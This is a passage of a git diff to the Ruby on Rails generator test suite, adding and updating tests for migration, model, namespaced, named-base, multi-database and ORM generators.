-        assert_match(/  t.index \[:music_id, :artist_id\], unique: true/, change)
+        assert_match(/# t\.index \[:artist_id, :music_id\]/, change)
+        assert_match(/  t\.index \[:music_id, :artist_id\], unique: true/, change)
       end
     end
   end
@@ -221,6 +271,21 @@ def test_create_table_migration
     end
   end
 
+  def test_create_table_migration_with_timestamps
+    run_generator ["create_books", "title:string", "content:text"]
+    assert_migration "db/migrate/create_books.rb", /t.timestamps/
+  end
+
+  def test_create_table_timestamps_are_skipped
+    run_generator ["create_books", "title:string", "content:text", "--no-timestamps"]
+
+    assert_migration "db/migrate/create_books.rb" do |m|
+      assert_method :change, m do |change|
+        assert_no_match(/t.timestamps/, change)
+      end
+    end
+  end
+
   def test_add_uuid_to_create_table_migration
     run_generator ["create_books", "--primary_key_type=uuid"]
     assert_migration "db/migrate/create_books.rb" do |content|
@@ -230,6 +295,38 @@ def test_add_uuid_to_create_table_migration
     end
   end
 
+  def test_add_migration_with_references_options_when_primary_key_uuid
+    migration = "add_references_to_books"
+    run_generator [migration, "author:belongs_to", "--primary_key_type=uuid"]
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_reference :books, :author,.*\sforeign_key: true, type: :uuid/, change)
+      end
+    end
+  end
+
+  def test_database_puts_migrations_in_configured_folder
+    with_database_configuration do
+      run_generator ["create_books", "--database=secondary"]
+      assert_migration "db/secondary_migrate/create_books.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_table :books/, change)
+        end
+      end
+    end
+  end
+
+  def test_database_puts_migrations_in_configured_folder_with_aliases
+    with_database_configuration do
+      run_generator ["create_books", "--db=secondary"]
+      assert_migration "db/secondary_migrate/create_books.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_table :books/, change)
+        end
+      end
+    end
+  end
+
   def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create
     migration = "delete_books"
     run_generator [migration, "title:string", "content:text"]
@@ -265,8 +362,8 @@ def test_create_join_table_migration_with_singular_table_name
       assert_migration "db/migrate/#{migration}.rb" do |content|
         assert_method :change, content do |change|
           assert_match(/create_join_table :artist, :music/, change)
-          assert_match(/# t.index \[:artist_id, :music_id\]/, change)
-          assert_match(/  t.index \[:music_id, :artist_id\], unique: true/, change)
+          assert_match(/# t\.index \[:artist_id, :music_id\]/, change)
+          assert_match(/  t\.index \[:music_id, :artist_id\], unique: true/, change)
         end
       end
     end
@@ -320,8 +417,68 @@ def test_add_migration_to_configured_path
     Rails.application.config.paths["db/migrate"] = old_paths
   end
 
-  private
+  def test_add_migration_ignores_virtual_attributes
+    migration = "add_rich_text_content_to_messages"
+    run_generator [migration, "content:rich_text", "video:attachment", "photos:attachments"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_no_match(/add_column :messages, :content, :rich_text/, change)
+        assert_no_match(/add_column :messages, :video, :attachment/, change)
+        assert_no_match(/add_column :messages, :photos, :attachments/, change)
+      end
+    end
+  end
 
+  def test_create_table_migration_ignores_virtual_attributes
+    run_generator ["create_messages", "content:rich_text", "video:attachment", "photos:attachments"]
+    assert_migration "db/migrate/create_messages.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_table :messages/, change)
+        assert_no_match(/  t\.rich_text :content/, change)
+        assert_no_match(/  t\.attachment :video/, change)
+        assert_no_match(/  t\.attachments :photos/, change)
+      end
+    end
+  end
+
+  def test_remove_migration_with_virtual_attributes
+    migration = "remove_content_from_messages"
+    run_generator [migration, "content:rich_text", "video:attachment", "photos:attachments"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_no_match(/remove_column :messages, :content, :rich_text/, change)
+        assert_no_match(/remove_column :messages, :video, :attachment/, change)
+        assert_no_match(/remove_column :messages, :photos, :attachments/, change)
+      end
+    end
+  end
+
+  def test_create_table_migration_with_required_attributes
+    run_generator ["create_books", "title:string!", "content:text!"]
+    assert_migration "db/migrate/create_books.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/create_table :books/, change)
+        assert_match(/  t\.string :title, null: false/, change)
+        assert_match(/  t\.text :content, null: false/, change)
+      end
+    end
+  end
+
+  def test_add_migration_with_required_attributes
+    migration = "add_title_body_to_posts"
+    run_generator [migration, "title:string!", "body:text!"]
+
+    assert_migration "db/migrate/#{migration}.rb" do |content|
+      assert_method :change, content do |change|
+        assert_match(/add_column :posts, :title, :string, null: false/, change)
+        assert_match(/add_column :posts, :body, :text, null: false/, change)
+      end
+    end
+  end
+
+  private
     def with_singular_table_name
       old_state = ActiveRecord::Base.pluralize_table_names
       ActiveRecord::Base.pluralize_table_names = false
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index 99490af3a9a5a..bef8f9925ab7b 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -1,17 +1,22 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/model/model_generator"
-require "active_support/core_ext/string/strip"
 
 class ModelGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
   arguments %w(Account name:string age:integer)
 
-  def test_application_record_skeleton_is_created
-    run_generator
-    assert_file "app/models/application_record.rb" do |record|
-      assert_match(/class ApplicationRecord < ActiveRecord::Base/, record)
-      assert_match(/self.abstract_class = true/, record)
-    end
+  def setup
+    super
+    Rails::Generators::ModelHelpers.skip_warn = false
+    @old_belongs_to_required_by_default = Rails.application.config.active_record.belongs_to_required_by_default
+
+    Rails.application.config.active_record.belongs_to_required_by_default = true
+  end
+
+  def teardown
+    Rails.application.config.active_record.belongs_to_required_by_default = @old_belongs_to_required_by_default
   end
 
   def test_help_shows_invoked_generators_options
@@ -32,6 +37,22 @@ def test_model_with_missing_attribute_type
     end
   end
 
+  def test_migration_source_paths
+    template = File.join(Rails.root, "lib", "templates", "active_record", "migration", "create_table_migration.rb.tt")
+
+    # Create template
+    mkdir_p(File.dirname(template))
+    File.open(template, "w") { |f| f.write "custom content" }
+
+    run_generator ["product"]
+
+    assert_migration "db/migrate/create_products.rb" do |m|
+      assert_equal "custom content", m
+    end
+  ensure
+    rm_rf File.dirname(template)
+  end
+
   def test_invokes_default_orm
     run_generator
     assert_file "app/models/account.rb", /class Account < ApplicationRecord/
@@ -43,24 +64,83 @@ def test_model_with_parent_option
     assert_no_migration "db/migrate/create_accounts.rb"
   end
 
-  def test_model_with_existent_application_record
-    mkdir_p "#{destination_root}/app/models"
-    touch "#{destination_root}/app/models/application_record.rb"
+  def test_model_with_database_option
+    with_database_configuration do
+      run_generator ["account", "--database", "secondary"]
+      assert_file "app/models/secondary_record.rb", /class SecondaryRecord < ApplicationRecord/
+      assert_file "app/models/account.rb", /class Account < SecondaryRecord/
+      assert_migration "db/secondary_migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/
+    end
+  end
+
+  def test_model_with_parent_and_database_option
+    with_database_configuration do
+      run_generator ["account", "--parent", "Admin::Account", "--database", "secondary"]
+      assert_file "app/models/account.rb", /class Account < Admin::Account/
+      assert_migration "db/secondary_migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/
+    end
+  end
 
-    Dir.chdir(destination_root) do
-      run_generator ["account"]
+  def test_model_with_no_migration_and_database_option
+    with_database_configuration do
+      run_generator ["account", "--migration", "false", "--database", "secondary"]
+      assert_file "app/models/account.rb", /class Account < SecondaryRecord/
+      assert_no_migration "db/secondary_migrate/create_accounts.rb"
     end
+  end
 
+  def test_model_with_no_migration_option
+    run_generator ["account", "--migration", "false"]
     assert_file "app/models/account.rb", /class Account < ApplicationRecord/
+    assert_no_migration "db/migrate/create_accounts.rb"
+  end
+
+  def test_model_with_parent_option_database_option_and_no_migration_option
+    with_database_configuration do
+      run_generator ["account", "--migration", "false", "--database", "secondary", "--migration", "false", "--parent", "Admin::Account"]
+      assert_file "app/models/account.rb", /class Account < Admin::Account/
+      assert_no_migration "db/secondary_migrate/create_accounts.rb"
+    end
+  end
+
+  def test_model_with_underscored_database_option
+    with_database_configuration("admin_accounts") do
+      run_generator ["account", "--database", "admin_accounts"]
+      assert_file "app/models/admin_accounts_record.rb", /class AdminAccountsRecord < ApplicationRecord/
+      assert_file "app/models/account.rb", /class Account < AdminAccountsRecord/
+      assert_migration "db/admin_accounts_migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/
+    end
   end
 
   def test_plural_names_are_singularized
-    content = run_generator ["accounts".freeze]
+    content = run_generator ["accounts"]
     assert_file "app/models/account.rb", /class Account < ApplicationRecord/
     assert_file "test/models/account_test.rb", /class AccountTest/
     assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
   end
 
+  def test_unknown_inflection_rule_are_warned
+    content = run_generator ["porsche"]
+    assert_match("[WARNING] Rails cannot recover singular form from its plural form 'porsches'.\nPlease setup custom inflection rules for this noun before running the generator in config/initializers/inflections.rb.", content)
+    assert_file "app/models/porsche.rb", /class Porsche < ApplicationRecord/
+
+    uncountable_content = run_generator ["sheep"]
+    assert_no_match("[WARNING] Rails cannot recover singular form from its plural form", uncountable_content)
+
+    regular_content = run_generator ["account"]
+    assert_no_match("[WARNING] Rails cannot recover singular form from its plural form", regular_content)
+  end
+
+  def test_impossible_inflection_rules_raises_an_error
+    content = capture(:stderr) { run_generator ["BFF"] }
+    message = <<~MESSAGE
+      Rails cannot recover the underscored form from its camelcase form 'BFF'.
+      Please use an underscored name instead, either 'bff' or 'bf_f'.
+      Or setup custom inflection rules for this noun before running the generator in config/initializers/inflections.rb.
+    MESSAGE
+    assert_match message, content
+  end
+
   def test_model_with_underscored_parent_option
     run_generator ["account", "--parent", "admin/account"]
     assert_file "app/models/account.rb", /class Account < Admin::Account/
@@ -70,7 +150,7 @@ def test_model_with_namespace
     run_generator ["admin/account"]
     assert_file "app/models/admin.rb", /module Admin/
     assert_file "app/models/admin.rb", /def self\.table_name_prefix/
-    assert_file "app/models/admin.rb", /'admin_'/
+    assert_file "app/models/admin.rb", /"admin_"/
     assert_file "app/models/admin/account.rb", /class Admin::Account < ApplicationRecord/
   end
 
@@ -105,7 +185,7 @@ def test_migration_with_nested_namespace_without_pluralization
     ActiveRecord::Base.pluralize_table_names = true
   end
 
-  def test_migration_with_namespaces_in_model_name_without_plurization
+  def test_migration_with_namespaces_in_model_name_without_pluralization
     ActiveRecord::Base.pluralize_table_names = false
     run_generator ["Gallery::Image"]
     assert_migration "db/migrate/create_gallery_image", /class CreateGalleryImage < ActiveRecord::Migration\[[0-9.]+\]/
@@ -159,23 +239,6 @@ def test_migration_with_attributes_and_with_index
     end
   end
 
-  def test_migration_with_attributes_and_with_wrong_index_declaration
-    run_generator ["product", "name:string", "supplier_id:integer:inex", "user_id:integer:unqu"]
-
-    assert_migration "db/migrate/create_products.rb" do |m|
-      assert_method :change, m do |up|
-        assert_match(/create_table :products/, up)
-        assert_match(/t\.string :name/, up)
-        assert_match(/t\.integer :supplier_id/, up)
-        assert_match(/t\.integer :user_id/, up)
-
-        assert_no_match(/add_index :products, :name/, up)
-        assert_no_match(/add_index :products, :supplier_id/, up)
-        assert_no_match(/add_index :products, :user_id/, up)
-      end
-    end
-  end
-
   def test_migration_with_missing_attribute_type_and_with_index
     run_generator ["product", "name:index", "supplier_id:integer:index", "year:integer"]
 
@@ -210,14 +273,14 @@ def test_add_migration_with_attributes_index_declaration_and_attribute_options
   end
 
   def test_migration_without_timestamps
-    ActiveRecord::Base.timestamped_migrations = false
+    ActiveRecord.timestamped_migrations = false
     run_generator ["account"]
     assert_file "db/migrate/001_create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/
 
     run_generator ["project"]
     assert_file "db/migrate/002_create_projects.rb", /class CreateProjects < ActiveRecord::Migration\[[0-9.]+\]/
   ensure
-    ActiveRecord::Base.timestamped_migrations = true
+    ActiveRecord.timestamped_migrations = true
   end
 
   def test_migration_with_configured_path
@@ -253,7 +316,7 @@ def test_model_with_polymorphic_belongs_to_attribute_generates_belongs_to_associ
 
   def test_migration_with_timestamps
     run_generator
-    assert_migration "db/migrate/create_accounts.rb", /t.timestamps/
+    assert_migration "db/migrate/create_accounts.rb", /t\.timestamps/
   end
 
   def test_migration_timestamps_are_skipped
@@ -261,7 +324,7 @@ def test_migration_timestamps_are_skipped
 
     assert_migration "db/migrate/create_accounts.rb" do |m|
       assert_method :change, m do |up|
-        assert_no_match(/t.timestamps/, up)
+        assert_no_match(/t\.timestamps/, up)
       end
     end
   end
@@ -269,19 +332,19 @@ def test_migration_timestamps_are_skipped
   def test_migration_is_skipped_with_skip_option
     run_generator
     output = run_generator ["Account", "--skip"]
-    assert_match %r{skip\s+db/migrate/\d+_create_accounts.rb}, output
+    assert_match %r{skip\s+db/migrate/\d+_create_accounts\.rb}, output
   end
 
   def test_migration_is_ignored_as_identical_with_skip_option
     run_generator ["Account"]
     output = run_generator ["Account", "--skip"]
-    assert_match %r{identical\s+db/migrate/\d+_create_accounts.rb}, output
+    assert_match %r{identical\s+db/migrate/\d+_create_accounts\.rb}, output
   end
 
   def test_migration_is_skipped_on_skip_behavior
     run_generator
     output = run_generator ["Account"], behavior: :skip
-    assert_match %r{skip\s+db/migrate/\d+_create_accounts.rb}, output
+    assert_match %r{skip\s+db/migrate/\d+_create_accounts\.rb}, output
   end
 
   def test_migration_error_is_not_shown_on_revoke
@@ -393,45 +456,67 @@ def test_add_uuid_to_create_table_migration
     end
   end
 
-  def test_required_belongs_to_adds_required_association
-    run_generator ["account", "supplier:references{required}"]
+  def test_database_puts_migrations_in_configured_folder
+    with_database_configuration do
+      run_generator ["account", "--database=secondary"]
+      assert_migration "db/secondary_migrate/create_accounts.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_table :accounts/, change)
+        end
+      end
+    end
+  end
 
-    expected_file = <<-FILE.strip_heredoc
-    class Account < ApplicationRecord
-      belongs_to :supplier, required: true
+  def test_database_puts_migrations_in_configured_folder_with_aliases
+    with_database_configuration do
+      run_generator ["account", "--db=secondary"]
+      assert_migration "db/secondary_migrate/create_accounts.rb" do |content|
+        assert_method :change, content do |change|
+          assert_match(/create_table :accounts/, change)
+        end
+      end
     end
+  end
+
+  def test_polymorphic_belongs_to_generates_correct_model
+    run_generator ["account", "supplier:references{polymorphic}"]
+
+    expected_file = <<~FILE
+      class Account < ApplicationRecord
+        belongs_to :supplier, polymorphic: true
+      end
     FILE
     assert_file "app/models/account.rb", expected_file
   end
 
-  def test_required_polymorphic_belongs_to_generages_correct_model
-    run_generator ["account", "supplier:references{required,polymorphic}"]
+  def test_null_false_is_added_for_references_by_default
+    run_generator ["account", "user:references"]
 
-    expected_file = <<-FILE.strip_heredoc
-    class Account < ApplicationRecord
-      belongs_to :supplier, polymorphic: true, required: true
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.references :user,.*\snull: false/, up)
+      end
     end
-    FILE
-    assert_file "app/models/account.rb", expected_file
   end
 
-  def test_required_and_polymorphic_are_order_independent
-    run_generator ["account", "supplier:references{polymorphic.required}"]
+  def test_null_false_is_added_for_belongs_to_by_default
+    run_generator ["account", "user:belongs_to"]
 
-    expected_file = <<-FILE.strip_heredoc
-    class Account < ApplicationRecord
-      belongs_to :supplier, polymorphic: true, required: true
+    assert_migration "db/migrate/create_accounts.rb" do |m|
+      assert_method :change, m do |up|
+        assert_match(/t\.belongs_to :user,.*\snull: false/, up)
+      end
     end
-    FILE
-    assert_file "app/models/account.rb", expected_file
   end
 
-  def test_required_adds_null_false_to_column
-    run_generator ["account", "supplier:references{required}"]
+  def test_null_false_is_not_added_when_belongs_to_required_by_default_global_config_is_false
+    Rails.application.config.active_record.belongs_to_required_by_default = false
+
+    run_generator ["account", "user:belongs_to"]
 
     assert_migration "db/migrate/create_accounts.rb" do |m|
       assert_method :change, m do |up|
-        assert_match(/t\.references :supplier,.*\snull: false/, up)
+        assert_match(/t\.belongs_to :user/, up)
       end
     end
   end
@@ -469,15 +554,52 @@ def test_foreign_key_is_skipped_for_polymorphic_references
 
   def test_token_option_adds_has_secure_token
     run_generator ["user", "token:token", "auth_token:token"]
-    expected_file = <<-FILE.strip_heredoc
-    class User < ApplicationRecord
-      has_secure_token
-      has_secure_token :auth_token
-    end
+    expected_file = <<~FILE
+      class User < ApplicationRecord
+        has_secure_token
+        has_secure_token :auth_token
+      end
     FILE
     assert_file "app/models/user.rb", expected_file
   end
 
+  def test_model_with_rich_text_attribute_adds_has_rich_text
+    run_generator ["message", "content:rich_text"]
+    expected_file = <<~FILE
+      class Message < ApplicationRecord
+        has_rich_text :content
+      end
+    FILE
+    assert_file "app/models/message.rb", expected_file
+  end
+
+  def test_model_with_attachment_attribute_adds_has_one_attached
+    run_generator ["message", "video:attachment"]
+    expected_file = <<~FILE
+      class Message < ApplicationRecord
+        has_one_attached :video
+      end
+    FILE
+    assert_file "app/models/message.rb", expected_file
+  end
+
+  def test_model_with_attachments_attribute_adds_has_many_attached
+    run_generator ["message", "photos:attachments"]
+    expected_file = <<~FILE
+      class Message < ApplicationRecord
+        has_many_attached :photos
+      end
+    FILE
+    assert_file "app/models/message.rb", expected_file
+  end
+
+  def test_skip_virtual_fields_in_fixtures
+    run_generator ["message", "content:rich_text", "video:attachment", "photos:attachments"]
+
+    assert_generated_fixture("test/fixtures/messages.yml",
+                             "one" => nil, "two" => nil)
+  end
+
   private
     def assert_generated_fixture(path, parsed_contents)
       fixture_file = File.new File.expand_path(path, destination_root)
diff --git a/railties/test/generators/multi_db_generator_test.rb b/railties/test/generators/multi_db_generator_test.rb
new file mode 100644
index 0000000000000..4b279b9b4f3fd
--- /dev/null
+++ b/railties/test/generators/multi_db_generator_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/active_record/multi_db/multi_db_generator"
+
+class MultiDbGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  tests ActiveRecord::Generators::MultiDbGenerator
+
+  def test_multi_db_skeleton_is_created
+    run_generator
+    assert_file "config/initializers/multi_db.rb" do |record|
+      assert_match(/Multi-db Configuration/, record)
+      assert_match(/config.active_record.database_resolver/, record)
+      assert_match(/config.active_record.shard_resolver/, record)
+    end
+  end
+end
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index 3015b5363bbae..1b45c58b0ed51 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
 
@@ -31,6 +33,17 @@ def test_named_generator_attributes
     assert_name g, "foos",       :plural_name
     assert_name g, "admin.foo",  :i18n_scope
     assert_name g, "admin_foos", :table_name
+    assert_name g, "admin/foos", :controller_name
+    assert_name g, %w(admin),     :controller_class_path
+    assert_name g, "Admin::Foos", :controller_class_name
+    assert_name g, "admin/foos",  :controller_file_path
+    assert_name g, "foos",        :controller_file_name
+    assert_name g, "admin.foos",  :controller_i18n_scope
+    assert_name g, "admin_foo",  :singular_route_name
+    assert_name g, "admin_foos", :plural_route_name
+    assert_name g, "@admin_foo", :redirect_resource_name
+    assert_name g, "admin_foo",  :model_resource_name
+    assert_name g, "admin_foos", :index_helper
   end
 
   def test_named_generator_attributes_as_ruby
@@ -45,6 +58,17 @@ def test_named_generator_attributes_as_ruby
     assert_name g, "foos",       :plural_name
     assert_name g, "admin.foo",  :i18n_scope
     assert_name g, "admin_foos", :table_name
+    assert_name g, "Admin::Foos", :controller_name
+    assert_name g, %w(admin),     :controller_class_path
+    assert_name g, "Admin::Foos", :controller_class_name
+    assert_name g, "admin/foos",  :controller_file_path
+    assert_name g, "foos",        :controller_file_name
+    assert_name g, "admin.foos",  :controller_i18n_scope
+    assert_name g, "admin_foo",  :singular_route_name
+    assert_name g, "admin_foos", :plural_route_name
+    assert_name g, "@admin_foo", :redirect_resource_name
+    assert_name g, "admin_foo",  :model_resource_name
+    assert_name g, "admin_foos", :index_helper
   end
 
   def test_named_generator_attributes_without_pluralized
@@ -57,7 +81,7 @@ def test_named_generator_attributes_without_pluralized
     ActiveRecord::Base.pluralize_table_names = original_pluralize_table_names
   end
 
-  def test_scaffold_plural_names
+  def test_namespaced_scaffold_plural_names
     g = generator ["admin/foo"]
     assert_name g, "admin/foos",  :controller_name
     assert_name g, %w(admin),     :controller_class_path
@@ -67,7 +91,7 @@ def test_scaffold_plural_names
     assert_name g, "admin.foos",  :controller_i18n_scope
   end
 
-  def test_scaffold_plural_names_as_ruby
+  def test_namespaced_scaffold_plural_names_as_ruby
     g = generator ["Admin::Foo"]
     assert_name g, "Admin::Foos", :controller_name
     assert_name g, %w(admin),     :controller_class_path
@@ -129,10 +153,22 @@ def test_scaffold_plural_names_with_model_name_option
     assert_name g, "admin/foos",  :controller_file_path
     assert_name g, "foos",        :controller_file_name
     assert_name g, "admin.foos",  :controller_i18n_scope
+    assert_name g, "admin_user",  :singular_route_name
+    assert_name g, "admin_users", :plural_route_name
+    assert_name g, "[:admin, @user]", :redirect_resource_name
+    assert_name g, "[:admin, user]",  :model_resource_name
+    assert_name g, "admin_users", :index_helper
   end
 
-  private
+  def test_scaffold_plural_names
+    g = generator ["User"]
+    assert_name g, "@user", :redirect_resource_name
+    assert_name g, "user",  :model_resource_name
+    assert_name g, "user",  :singular_route_name
+    assert_name g, "users", :plural_route_name
+  end
 
+  private
     def assert_name(generator, value, method)
       assert_equal value, generator.send(method)
     end
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
index 1caabbe6b1299..262b609adda1c 100644
--- a/railties/test/generators/namespaced_generators_test.rb
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -1,16 +1,25 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/controller/controller_generator"
 require "rails/generators/rails/model/model_generator"
 require "rails/generators/mailer/mailer_generator"
 require "rails/generators/rails/scaffold/scaffold_generator"
+require "rails/generators/rails/application_record/application_record_generator"
 
 class NamespacedGeneratorTestCase < Rails::Generators::TestCase
   include GeneratorsTestHelper
 
   def setup
     super
+    @old_namespace = Rails::Generators.namespace
     Rails::Generators.namespace = TestApp
   end
+
+  def teardown
+    super
+    Rails::Generators.namespace = @old_namespace
+  end
 end
 
 class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
@@ -22,7 +31,6 @@ class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
   def test_namespaced_controller_skeleton_is_created
     run_generator
     assert_file "app/controllers/test_app/account_controller.rb",
-                /require_dependency "test_app\/application_controller"/,
                 /module TestApp/,
                 /  class AccountController < ApplicationController/
 
@@ -39,9 +47,7 @@ def test_skipping_namespace
 
   def test_namespaced_controller_with_additional_namespace
     run_generator ["admin/account"]
-    assert_file "app/controllers/test_app/admin/account_controller.rb", /module TestApp/, /  class Admin::AccountController < ApplicationController/ do |contents|
-      assert_match %r(require_dependency "test_app/application_controller"), contents
-    end
+    assert_file "app/controllers/test_app/admin/account_controller.rb", /module TestApp/, /  class Admin::AccountController < ApplicationController/
   end
 
   def test_helper_is_also_namespaced
@@ -62,7 +68,7 @@ def test_invokes_default_template_engine
 
   def test_routes_should_not_be_namespaced
     run_generator
-    assert_file "config/routes.rb", /get 'account\/foo'/, /get 'account\/bar'/
+    assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
   end
 
   def test_invokes_default_template_engine_even_with_no_action
@@ -98,7 +104,7 @@ def test_model_with_namespace
     run_generator ["admin/account"]
     assert_file "app/models/test_app/admin.rb", /module TestApp/, /module Admin/
     assert_file "app/models/test_app/admin.rb", /def self\.table_name_prefix/
-    assert_file "app/models/test_app/admin.rb", /'test_app_admin_'/
+    assert_file "app/models/test_app/admin.rb", /"test_app_admin_"/
     assert_file "app/models/test_app/admin/account.rb", /module TestApp/, /class Admin::Account < ApplicationRecord/
   end
 
@@ -149,7 +155,7 @@ def test_mailer_skeleton_is_created
     assert_file "app/mailers/test_app/notifier_mailer.rb" do |mailer|
       assert_match(/module TestApp/, mailer)
       assert_match(/class NotifierMailer < ApplicationMailer/, mailer)
-      assert_no_match(/default from: "from@example.com"/, mailer)
+      assert_no_match(/default from: "from@example\.com"/, mailer)
     end
   end
 
@@ -213,7 +219,6 @@ def test_scaffold_on_invoke
 
     # Controller
     assert_file "app/controllers/test_app/product_lines_controller.rb",
-                /require_dependency "test_app\/application_controller"/,
                 /module TestApp/,
                 /class ProductLinesController < ApplicationController/
 
@@ -228,9 +233,6 @@ def test_scaffold_on_invoke
 
     # Helpers
     assert_file "app/helpers/test_app/product_lines_helper.rb"
-
-    # Stylesheets
-    assert_file "app/assets/stylesheets/scaffold.css"
   end
 
   def test_scaffold_on_revoke
@@ -258,9 +260,6 @@ def test_scaffold_on_revoke
 
     # Helpers
     assert_no_file "app/helpers/test_app/product_lines_helper.rb"
-
-    # Stylesheets (should not be removed)
-    assert_file "app/assets/stylesheets/scaffold.css"
   end
 
   def test_scaffold_with_namespace_on_invoke
@@ -281,7 +280,6 @@ def test_scaffold_with_namespace_on_invoke
     # Controller
     assert_file "app/controllers/test_app/admin/roles_controller.rb" do |content|
       assert_match(/module TestApp\n  class Admin::RolesController < ApplicationController/, content)
-      assert_match(%r(require_dependency "test_app/application_controller"), content)
     end
 
     assert_file "test/controllers/test_app/admin/roles_controller_test.rb",
@@ -295,9 +293,6 @@ def test_scaffold_with_namespace_on_invoke
 
     # Helpers
     assert_file "app/helpers/test_app/admin/roles_helper.rb"
-
-    # Stylesheets
-    assert_file "app/assets/stylesheets/scaffold.css"
   end
 
   def test_scaffold_with_namespace_on_revoke
@@ -305,7 +300,7 @@ def test_scaffold_with_namespace_on_revoke
     run_generator [ "admin/role" ], behavior: :revoke
 
     # Model
-    assert_file "app/models/test_app/admin.rb"	# ( should not be remove )
+    assert_file "app/models/test_app/admin.rb"  # ( should not be remove )
     assert_no_file "app/models/test_app/admin/role.rb"
     assert_no_file "test/models/test_app/admin/role_test.rb"
     assert_no_file "test/fixtures/test_app/admin/roles.yml"
@@ -326,9 +321,6 @@ def test_scaffold_with_namespace_on_revoke
 
     # Helpers
     assert_no_file "app/helpers/test_app/admin/roles_helper.rb"
-
-    # Stylesheets (should not be removed)
-    assert_file "app/assets/stylesheets/scaffold.css"
   end
 
   def test_scaffold_with_nested_namespace_on_invoke
@@ -362,9 +354,6 @@ def test_scaffold_with_nested_namespace_on_invoke
 
     # Helpers
     assert_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
-
-    # Stylesheets
-    assert_file "app/assets/stylesheets/scaffold.css"
   end
 
   def test_scaffold_with_nested_namespace_on_revoke
@@ -372,7 +361,7 @@ def test_scaffold_with_nested_namespace_on_revoke
     run_generator [ "admin/user/special/role" ], behavior: :revoke
 
     # Model
-    assert_file "app/models/test_app/admin/user/special.rb"	# ( should not be remove )
+    assert_file "app/models/test_app/admin/user/special.rb"  # ( should not be remove )
     assert_no_file "app/models/test_app/admin/user/special/role.rb"
     assert_no_file "test/models/test_app/admin/user/special/role_test.rb"
     assert_no_file "test/fixtures/test_app/admin/user/special/roles.yml"
@@ -392,9 +381,6 @@ def test_scaffold_with_nested_namespace_on_revoke
 
     # Helpers
     assert_no_file "app/helpers/test_app/admin/user/special/roles_helper.rb"
-
-    # Stylesheets (should not be removed)
-    assert_file "app/assets/stylesheets/scaffold.css"
   end
 
   def test_api_scaffold_with_namespace_on_invoke
@@ -415,9 +401,18 @@ def test_api_scaffold_with_namespace_on_invoke
     # Controller
     assert_file "app/controllers/test_app/admin/roles_controller.rb" do |content|
       assert_match(/module TestApp\n  class Admin::RolesController < ApplicationController/, content)
-      assert_match(%r(require_dependency "test_app/application_controller"), content)
     end
     assert_file "test/controllers/test_app/admin/roles_controller_test.rb",
                 /module TestApp\n  class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/
   end
 end
+
+class NamespacedApplicationRecordGeneratorTest < NamespacedGeneratorTestCase
+  include GeneratorsTestHelper
+  tests Rails::Generators::ApplicationRecordGenerator
+
+  def test_adds_namespace_to_application_record
+    run_generator
+    assert_file "app/models/test_app/application_record.rb", /module TestApp/, /  class ApplicationRecord < ActiveRecord::Base/
+  end
+end
diff --git a/railties/test/generators/orm_test.rb b/railties/test/generators/orm_test.rb
index 88ae930554ce1..deca75c044932 100644
--- a/railties/test/generators/orm_test.rb
+++ b/railties/test/generators/orm_test.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
+require "rails/generators/rails/model/model_generator"
 
 # Mock out two ORMs
 module ORMWithGenerators
@@ -15,7 +18,7 @@ module ORMWithoutGenerators
   # No generators
 end
 
-class OrmTest < Rails::Generators::TestCase
+class ScaffoldOrmTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
   tests Rails::Generators::ScaffoldControllerGenerator
 
@@ -36,3 +39,38 @@ def test_orm_instance_returns_orm_class_instance_with_name
     assert_equal "foo", orm_instance.name
   end
 end
+
+module TestOrmWithDescription
+  module Generators
+    class ModelGenerator < Rails::Generators::ModelGenerator
+      def self.usage_path
+        true
+      end
+
+      def self.desc
+        "My description"
+      end
+    end
+  end
+end
+
+class ModelOrmTest < ActiveSupport::TestCase
+  def test_active_record_description_is_used_by_default
+    assert_match(/Description:.*/, Rails::Generators::ModelGenerator.desc)
+  end
